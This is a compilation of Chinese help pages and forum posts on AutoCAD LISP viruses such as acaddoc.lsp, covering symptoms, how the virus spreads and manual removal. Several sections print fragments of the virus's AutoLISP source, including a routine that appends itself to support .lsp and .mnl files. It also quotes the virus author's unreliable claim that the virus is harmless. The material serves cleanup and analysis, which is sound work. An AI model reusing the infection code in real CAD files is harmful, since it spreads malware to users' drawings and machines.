附:病毒作者在其QQ空间(https://www.360docs.net/doc/c5788668.html,)内“有关CAD病毒的说明” 首先要申明就是: 1.它对电脑是没有任意的危害性! 2.它在8:00到18:00这段时间,对CAD没有任何影响的! 它唯一的副作用就是: 你的CAD在启动时会弹出一个显示时间的对话框 如果时间时不在8:00至18:00之间 还有可能伴随"移动"命令改变~等情况 在这时间内的临时解决方案为: 将电脑系统时间调整8:00就行了! (有必时请关了CAD后再打开CAD) 彻底的解决方案为:(主要是acad.fas程序文件) 清除方法是删除干净acad.fas与lcm.fas两个文件! 如果删除不净下次启动是还是会生成,务必清理干净! 常见问题是C:\Program Files\autocad***目录(子目录)下的 acad.fas与lcm.fas是在全部查找时找不到的,请手动进入目录再行查找删除! 不想进去目录查找也可以输入下面的字符到CAD命令行: (while (or (setq a (findfile "acad.fas")) (setq a (findfile "lcm.fas"))) (vl-file-delete a)) 注意:上面红字一个字都不能少哦!这样就行了! 如果有文字编缉时出现记事本的现象请将下面一行红字输入到命令行?: (setvar "mtexted" ".") 我已与很多中毒好友用QQ远程帮他们搞好了~

AUTOCAD病毒的清除方法acaddoc.lsp和acadapq.lsp

AUTOCAD病毒的清除方法 acaddoc.lsp是一个专门针对CAD文件的病毒,在CAD软件 使用中主要表现的情况如下: 1、无法拷贝 2、在命令行提示需要执行一个宏 3、CAD会出莫名其妙的问题 解决方法: 关闭AutoCAD程序; 搜索所有acaddoc.lsp和acadapq.lsp文件 删除所有关acadapq.lsp(3,836字节) 和被感染的 acaddoc.lsp(27字节) (看文件大小); 重启AutoCAD,OK ashan发表 LZ还说少了一个步骤:没有处理acad.mnl文件,这样的清除并不彻底,下次再打开带毒的dwg文件(这里并非指dwg文件本身带毒,而是指在该dwg文件下有acaddoc.lsp文件存在)后,系统又会感染病毒,偶曾经对这个cad病毒的代码做过详细分析,下面是原文,有兴趣的朋友可以详细看看: 最近自己的电脑中了CAD病毒,症状为打开一个dwg文件后,在该dwg文件所在目录下就会自动生成一个“acaddoc.lsp”文件,即使手工将其删除,下次打开dwg文件时又会自动生成。如果把dwg文件和acaddoc.lsp文件一起复制到另外一部未感染CAD病毒的电脑上,只要一打开该dwg文件,则该电脑就会被感染。因为这个CAD病毒是个lisp程序,花了些时间对病毒代码进行分析如下: -----------------下面是病毒代码----------------------------- (setq wold_cmd (getvar "cmdecho")) (setvar "cmdecho" 0) (setq wpath (findfile "base.dcl")) (setq wpath (substr wpath 1 (- (strlen wpath) 8))) ;wpath变量保存ACAD下support目录路径 (setq wwmnlwpath (getvar "menuname")) ;获得当前菜单名,这句没有用处,下面并未使用wwmnlwpath变量 (setq wnowdwg (getvar "dwgname")) ;获得当前打开图形文件名 (setq wwjqm (findfile wnowdwg)) ;wwjqm变量保存当前打开图形文件的完整路径 (setq wdwgwpath (substr wwjqm 1 ( - (strlen wwjqm) (strlen wnowdwg)))) ;wdwgwpath变量保存当前打开图形文件所在路径 ;;;alert ( setq f ( open "c:\\boot.dat" "w")) ;f变量为boot.dat文件句柄,c盘根目录下boot.dat文件若存在则 (write-line "[dang]" f) ;打开,不存在则创建,然后将当前打开图形文件所在路径和support

CAD的病毒文件与杀毒方案

CAD的病毒文件与杀毒方案 方法一: (1)全盘搜索acadapp.*、acadappp.*、acaddoc.*文件,然后彻底删除。注意查找前在文件夹选项中设置“显示所有文件与文件夹”。搜索时选择“查找所有文件及文件夹”,然后在“高级选项”里勾选“搜索系统文件夹”“搜索隐藏的文件及文件夹”。 (2)系统盘根目录下如有boot.dat文件,将其删除。 (3)进入C:\Documents and Settings\用户名\Application Data\Autodesk\Autocad20**\R1**\chs\Support目录,用记事本打开该目录下所有*.mnl文件,手动删除与病毒相同的代码(一般在文件末尾),然后保存。修改后的mnl文件属性改为只读。 (4)进入CAD安装目录下的support目录,将该目录下的所有*.lsp文件同上处理。方法二: 解析ACADDOC.LSP病毒文件与杀毒方案CAD的病毒很多但都大同小异。现就出现的ACADDOC.LSP病毒进行杀毒。不用重新安装CAD的办法。 1、发现文件夹中多出ACADDOC.LSP说明你中毒了。 2、关闭CAD程序。 3、全盘查找*.fas *.lsp *.mnl *.arx文件,除了CAD安装目录以外的全部删除。 4、检查CAD安装目录文件的修改时间,把最近的几个文件中的病毒代码删除。(用记事本打开) 5、把CAD安装目录中的所有*.fas *.lsp *.mnl *.arx文件改为只读属性。说明:1、ACADDOC.LSP病毒感染X:\Program Files\AutoCAD 20**\Support文件夹下的3d.lsp;3darray.lsp;acad2010.lsp;acad2010doc.lsp; acadinfo.lsp;ai_utils.lsp;attredef.lsp;edge.lsp;mvsetup.lsp;sample-profile-util.lsp 文件。 2、要删除的病毒代码在文件的尾部,具体如下: (setq flagx t) (setq bz "(setq flagx t)") (defun app(source target bz / flag flag1 wjm wjm1 text) (setq flag nil) (setq flag1 t) (if (findfile target) (progn (setq wjm1 (open target "r")) (while (setq text (read-line wjm1)) (if (= text bz) (setq flag1 nil)) );while (close wjm1) );progn );if (if flag1 (progn (setq wjm (open source "r")) (setq wjm1 (open target "a")) (write-line (chr 13) wjm1) (while (setq text (read-line wjm)) (if (= text bz) (setq flag t)) (if flag (progn (write-line text wjm1) );progn );if );while (close wjm1) (close wjm) );progn );if );defun (setvar "cmdecho" 0) (setq acadmnl (findfile "acad.mnl")) (setq acadmnlpath (vl-filename-directory acadmnl)) (setq mnlfilelist (vl-directory-files acadmnlpath "*.mnl")) (setq mnlnum (length mnlfilelist)) (setq acadexe (findfile "acad.exe")) (setq acadpath (vl-filename-directory acadexe))

CAD中acaddoc.lsp病毒处理办法

acaddoc病毒处理办法 前言:下文第一、二、三段无实质内容,可略过不读。 一 病毒简介: 最近公司里流传一种cad病毒。该病毒可被卡巴斯基和360杀毒软件查出。卡巴斯基查出病毒名为Virus.ALS.Pasdoc.a,360杀毒软件查出病毒名为Trojan.Script.29327。遗憾的是,卡巴斯基和360杀毒软件均不能将其彻底清除。 二 中毒症状: 机器中毒后,运行CAD时,每打开一个dwg文件,均在dwg文件所在目录下生成一个acaddoc.lsp的文件。由于每次开图,病毒程序均进行一次病毒传播复制过程,因此使得CAD开图时速度变慢。 用记事本查看CAD安装路径下的support目录下的任一*.lsp文件,如文件末尾含有与附件1相同的代码,则可判定为中毒。 三 传播机理: 通过分析病毒的源代码,初步了解其传播机理如下: 如机器已中毒,CAD新打开dwg文件时,病毒程序自动加载。并搜索CAD工作目录下的acad.mnl文件,感染同一目录下的*.mnl文件,搜索acad的support目录,并感染该目录下的所有*.lsp文件。同时病毒在当前打开的dwg文件所在目录下生成acaddoc.lsp文件,以利于下次传播。 如本机未中毒,而新打开的dwg文件所在目录下有acaddoc.lsp文件,则病毒将感染上述目录下的*.mnl与*.lsp文件。 该病毒的最终目的是调用acadapq 与 acadappp 两个非法程序。至于这两个程序会干什么,暂未深入研究。 四 清除步骤: 1. 退出CAD。 2. 全盘搜索acadapq.*、、acadappp.*、acaddoc.* 文件,然后 彻底删除上述文件。注意查找前在文件夹选项中设置“显示 所有文件与文件夹”以及取消“隐藏受保护的操作系统文 件”。搜索时选择“查找所有文件及文件夹”,然后在“高

CAD病毒解决办法

CAD病毒的解决方法 ①、关闭正在运行的AutoCAD及机械工程师CAD(切记!) ②、打开“我的电脑”后,按F3键打开XP系统的文件搜索窗口,在整个硬盘上搜索并彻底删除以下文件: acad.fas;acad.lsp;acad.sys;acad.vlx;acadapp.lsp;lcm.fas;acaddoc.lsp WIN7系统搜索方法:打开“我的电脑”在右上角输入文件名:acad.fas OR acad.lsp OR acad.sys OR acad.vlx OR acadapp.lsp OR lcm.fas OR acaddoc.lsp 注意: ●“搜索范围”一定要选择“本机硬盘驱动器 (C:;D:;E:;F:)”。 ●一定要先勾选“搜索选项”中的“高级选项”,将其下的“搜索子文件夹”及“搜 索隐藏的文件及文件夹”项勾选上,否则不能将病毒文件全部搜索清除干净。 见下图 ●找到后全部删除(彻底删除shift+delete,只是删除到回收站不起作用)。 如果此时一个文件都没有找到,则说明您搜索的文件名称填写错误。 ●保证AutoCAD文件夹下没有任何垃圾文件。 ③、卸载AutoCAD及机械工程师CAD,删除AutoCAD安装路径。 ④、再次搜索上述文件,找不到任何文件时(切记!),再重新安装AutoCAD 及机械工程师CAD。

该病毒症状: 感染该病毒后,表现症状也不太相同,一般表现: ●AutoCAD的炸开命令(Explode)、多行文字等出现异常。 ●机械工程师CAD的许多命令显示为:未知命令。 ●AutoCAD的插件命令无法正常使用。 ●打开CAD后出现一信息:程序作者QQ:XXXXXXXXXX 现在时间是:XX点XX分了的哦! 好好干了啦!XX不会亏待你的! 老板的眼睛是雪亮的啦! ●打开原来的dwg图纸后,尺寸值发生了改变。 该病毒说明: 这是一个专门针对CAD的病毒程序,不是传统意义上的病毒,因此,用瑞星、金山毒霸等是不能杀除的(目前)。 它的作用机制是这样的:某台机器上没有这个病毒程序,但在通过网上邻居或U盘拷贝别人的图纸时,大家经常会把整个目录拷贝过来,如果拷贝的这个目录中包含有acad.lsp和acad.vlx 等文件,你的机器就有了这个病毒,但是还没有起作用。当你用CAD打开这个文件时,CAD会自动加载该目录下的acad.lsp,这个LSP程序会检测你的CAD支持support目录下是否有这两个文件,如果没有,它会自动在那里创建他们的副本。以后,在你打开别的图纸时,它会再判断你要打开的图纸目录下有没有这两个文件,如果没有,它又在该目录下创建这两个文件的副本。就这样,你的电脑上的dwg文件目录中逐步都有了这个病毒。随着别人按照目录拷贝你的dwg 文件,他们也感染上了。 因此,如果你的机器上没有CAD病毒程序,只要你从别处拷贝图纸时,只拷贝dwg文件一般就不会感染CAD病毒了(不要拷贝文件夹),但最安全的方法是在拷贝别人的图形时,请先查找是否存在该病毒文件。 2011-4-14

acaddoc.lsp病毒文件彻底清除方法

前言: 最近本人公司里流行一种CAD病毒,中毒后,CAD每次新开图均生成一个acaddoc.lsp的病毒文件, 虽破坏力不大,但烦不胜烦。经研究病毒源码后,摸索出了一套清除该病毒的办法。然后经过在数个同事机器上验证,该方法行之有效。于是将杀毒方法成文,群发给部门同事,以下是原文。 一病毒简介: 最近公司里流传一种cad病毒。该病毒可被卡巴斯基和360杀毒软件查出。卡巴斯基查出病毒名为Virus.ALS.Pasdoc.a,360杀毒软件查出病毒名为Trojan.Script.29327。遗憾的是,卡巴斯基和360杀毒软件均不能将其彻底清除。 二中毒症状: 机器中毒后,运行CAD时,每打开一个dwg文件,均在dwg文件所在目录下生成一个acaddoc.lsp的文件。由于每次开图,病毒程序均进行一次病毒传播复制过程,因此使得CAD开图时速度变慢。 用记事本查看CAD安装路径下的support目录下的任一*.lsp文件,如文件末尾含有与附件1相同的代码,则可判定为中毒。 三传播机理: 通过分析病毒的源代码,初步了解其传播机理如下: 如机器已中毒,CAD新打开dwg文件时,病毒程序自动加载。并搜索CAD工作目录下的acad.mnl文件,感染同一目录下的*.mnl文件,搜索acad的support目录,并感染该目录下的所有*.lsp文件。同时病毒在当前打开的dwg文件所在目录下生成acaddoc.lsp文件,以利于下次传播。 如本机未中毒,而新打开的dwg文件所在目录下有acaddoc.lsp文件,则病毒将感染上述目录下的*.mnl与*.lsp文件。 该病毒的最终目的是调用acadapq 与 acadappp 两个非法程序。至于这两个程序会干什么,暂未深入研究。 四清除步骤: 1. 退出CAD。 2. 全盘搜索acadapq.*、、acadappp.*、acaddoc.* 文件,然后彻底删除上述文件。注意查找前在文件夹选项中设置“显示所有文件与文件夹”以及取消“隐藏受保护的操作系统文件”。搜索时选择“查找所有文件及文件夹”,然后在“高级选项”里勾选“搜索系统文件夹”“搜索隐藏的文件和文件夹”“搜索子文件夹”。 如果搜出的文件无法删除,则先清空回收站,再搜索删除。 注:探索者目录下有个AcadDoc.lsp(注意大小写)不是病毒文件,谨防误删。 3. 查看C盘根目录下是否有boot.dat文件,如有,则将其删除。

相关主题
相关文档
最新文档